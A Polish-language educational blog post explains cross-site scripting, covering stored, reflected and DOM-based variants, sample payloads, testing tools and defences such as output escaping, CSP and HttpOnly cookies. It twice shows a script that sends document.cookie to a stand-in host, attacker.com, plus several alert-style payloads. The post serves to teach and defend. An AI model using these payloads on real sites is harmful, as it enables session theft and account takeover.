XSS (Cross-Site Scripting) – Wszystko o jednym z najczęstszych ataków na aplikacje webowe
Cyberbezpieczeństwo Hacking

XSS (Cross-Site Scripting) – Wszystko o jednym z najczęstszych ataków na aplikacje webowe

🛑 XSS (Cross-Site Scripting) – Wszystko o jednym z najczęstszych ataków na aplikacje webowe

💡 Co to jest XSS?

XSS (Cross-Site Scripting) to rodzaj ataku, w którym atakujący wstrzykuje złośliwy kod JavaScript (czasem także HTML, CSS, a nawet VBScript) do legalnej strony internetowej, z myślą o wykonaniu tego kodu po stronie przeglądarki ofiary.

Jest to jedna z najpowszechniejszych luk bezpieczeństwa w aplikacjach internetowych, notorycznie występująca w raportach OWASP TOP 10.


🎯 Cele ataków XSS

  • 🧠 Kradzież danych (np. ciasteczek sesyjnych, danych logowania)
  • 👤 Kradzież tożsamości użytkownika
  • 🧨 Przejmowanie kont
  • 🖥️ Podszywanie się pod użytkownika (np. zmiana treści formularzy)
  • 🐚 Wstrzykiwanie złośliwego JS (np. keylogger, exploit loader)
  • 🔗 Phishing w obrębie zaufanej domeny

📚 Rodzaje XSS

1. 🔁 Stored XSS (trwały)

Złośliwy kod jest zapisywany w bazie danych (np. w komentarzu lub profilu użytkownika), a następnie wyświetlany innym użytkownikom.

🔍 Przykład:
Użytkownik wpisuje komentarz:

<script>fetch('https://attacker.com?cookie=' + document.cookie)</script>

Każdy, kto wyświetli ten komentarz – uruchamia złośliwy kod.

XSS (Cross-Site Scripting) – Wszystko o jednym z najczęstszych ataków na aplikacje webowe
XSS (Cross-Site Scripting) – Wszystko o jednym z najczęstszych ataków na aplikacje webowe

2. 🔗 Reflected XSS (odbijany)

Złośliwy kod jest przekazywany w linku, np. w parametrze GET, i odbijany w odpowiedzi serwera, bez zapisu na stałe.

Czytaj  Zagrożenia związane z chmurą obliczeniową: Jak zabezpieczyć swoje dane w chmurze

🔍 Przykład:

https://example.com/search?q=<script>alert('XSS')</script>

Jeśli aplikacja bezpiecznie nie filtruje danych, skrypt wykona się natychmiast po wejściu na stronę.


3. 📦 DOM-based XSS

Złośliwy kod jest przetwarzany przez JavaScript po stronie przeglądarki, bez udziału serwera.

🔍 Przykład:

document.getElementById("output").innerHTML = location.hash;

Użytkownik odwiedza:

https://example.com#<img src=x onerror=alert(1)>

🧪 Przykładowe Payloady XSS

<script>alert('XSS')</script>
<img src="x" onerror="alert('XSS')">
<svg onload=alert(1)>
<a href="javascript:alert(1)">kliknij mnie</a>

Payloady mogą być ukryte, zakodowane w base64, rozdzielone w kilku częściach lub celować w konkretne biblioteki JS (np. jQuery).


🛠️ Wykrywanie i testowanie XSS

🔧 Narzędzia:

  • Burp Suite – intercept i fuzzing
  • XSStrike – zaawansowana analiza luk XSS
  • XSSer – automatyczne testy podatności XSS
  • OWASP ZAP – skaner i proxy
  • F12 Dev Tools – analiza DOM i odpowiedzi HTTP

🔐 Zabezpieczenia przed XSS

🔢 1. Escaping (kodowanie wyjścia)

Kodowanie znaków specjalnych przed ich wyświetleniem (np. &, <, >).

🛡️ 2. Sanityzacja danych wejściowych

Filtrowanie i oczyszczanie danych od użytkownika.

🧾 3. Użycie nagłówków bezpieczeństwa:

  • Content-Security-Policy: ogranicza, jakie skrypty mogą być wykonywane.
  • X-XSS-Protection: włącza (w starszych przeglądarkach) mechanizmy ochrony.
  • HttpOnly i Secure dla ciasteczek – chroni przed ich odczytem przez JS.

🧱 4. Unikanie innerHTML / document.write

Używaj textContent lub setAttribute zamiast metod podatnych na XSS.


🚩 Gdzie najczęściej występują luki XSS?

  • 📝 Formularze (komentarze, kontakt, rejestracja)
  • 🔍 Pola wyszukiwania
  • 📤 Panele admina bez walidacji danych
  • 🧩 Komponenty JavaScript i frameworki (np. AngularJS bez $sanitize)
  • 💬 Dynamiczne treści w mailach i podglądach wiadomości

👨‍💻 Przykład ataku XSS w praktyce

  1. Atakujący wkleja w komentarzu kod:
<script>
  fetch('https://attacker.com/cookie=' + document.cookie)
</script>
  1. Użytkownik odwiedza stronę z komentarzem.
  2. Jego ciasteczko sesyjne jest wysyłane do atakującego.
  3. Atakujący używa skradzionego ciasteczka do zalogowania się jako ofiara.

🔄 Ataki pokrewne:

  • HTML Injection – wstrzyknięcie kodu HTML bez JS
  • JS Injection – wewnątrz aplikacji (np. eval, setTimeout)
  • UI Redressing (Clickjacking) – z wykorzystaniem ramek
Czytaj  Uwierzytelnianie wieloskładnikowe (MFA) – fundament nowoczesnego bezpieczeństwa IT

✅ Podsumowanie

XSS to jedna z najbardziej znanych i niebezpiecznych podatności w aplikacjach webowych. Pomimo swojej prostoty, konsekwencje mogą być katastrofalne — od kradzieży danych po przejęcie konta administratora.

🛡️ Skuteczna obrona to kombinacja:

  • prawidłowej walidacji danych,
  • kodowania danych przy wyświetlaniu,
  • oraz stosowania nowoczesnych mechanizmów bezpieczeństwa (CSP, HttpOnly, sameSite).

Polecane wpisy
Clickjacking i inne techniki manipulacji użytkownikiem na zainfekowanych stronach
Clickjacking i inne techniki manipulacji użytkownikiem na zainfekowanych stronach

🕷️ Clickjacking i inne techniki manipulacji użytkownikiem na zainfekowanych stronach 🔐 Jak działają i jak zachować ostrożność? 🔍 Czym jest Czytaj dalej

Zaawansowane techniki wykrywania rootkitów w systemach Windows i Linux
Zaawansowane techniki wykrywania rootkitów w systemach Windows i Linux

🕵️ Zaawansowane techniki wykrywania rootkitów w systemach Windows i Linux Rootkity to jedne z najbardziej niebezpiecznych i trudnych do wykrycia Czytaj dalej

Marek "Netbe" Lampart Inżynier informatyki Marek Lampart to doświadczony inżynier informatyki z ponad 25-letnim stażem w zawodzie. Specjalizuje się w systemach Windows i Linux, bezpieczeństwie IT, cyberbezpieczeństwie, administracji serwerami oraz diagnostyce i optymalizacji systemów. Na netbe.pl publikuje praktyczne poradniki, analizy i instrukcje krok po kroku, pomagając administratorom, specjalistom IT oraz zaawansowanym użytkownikom rozwiązywać realne problemy techniczne.